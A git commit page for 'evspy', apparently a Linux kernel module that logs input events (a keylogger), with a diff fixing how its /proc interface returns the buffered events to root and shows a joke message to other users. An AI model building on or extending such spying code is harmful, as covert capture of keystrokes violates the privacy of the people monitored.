diff options
author | Guillermo Ramos | 2011-10-31 03:19:59 +0100 |
---|---|---|
committer | Guillermo Ramos | 2011-10-31 03:19:59 +0100 |
commit | 06aea3593215d0ed6f8e3c3113a14e2aaba81f6a (patch) | |
tree | f7be778cf5eacaf4c43e105d816d9de8f9ac1076 | |
parent | 7d685f8ebc0988695915a73dbbf1a135f9c429a9 (diff) | |
download | evspy-06aea3593215d0ed6f8e3c3113a14e2aaba81f6a.tar.gz |
Fixed the damn read-from-proc bug from hell
(not 100% sure, but almost)
-rw-r--r-- | evspy-core.c | 19 |
1 files changed, 11 insertions, 8 deletions
diff --git a/evspy-core.c b/evspy-core.c index b0c0d4b..6acfd30 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -42,20 +42,23 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, if (current_uid() || current_euid()) { // root only plz #if EVS_TROLL == 1 - n = min(36, count); - strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); - *eof = 1; + n = 36; + if (offset) + *eof = 1; + else + strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); return n; #else return -EPERM; #endif } else { // copy fifo contents to the supplied buffer - if (offset > 0) { + n = offset + kfifo_out(&cbuffer, page+offset, + min((int)PAGE_SIZE, count)); + + if (n == offset) *eof = 1; - return 0; - } else { - return kfifo_out(&cbuffer, page, min((int)PAGE_SIZE, count)); - } + + return n; } } |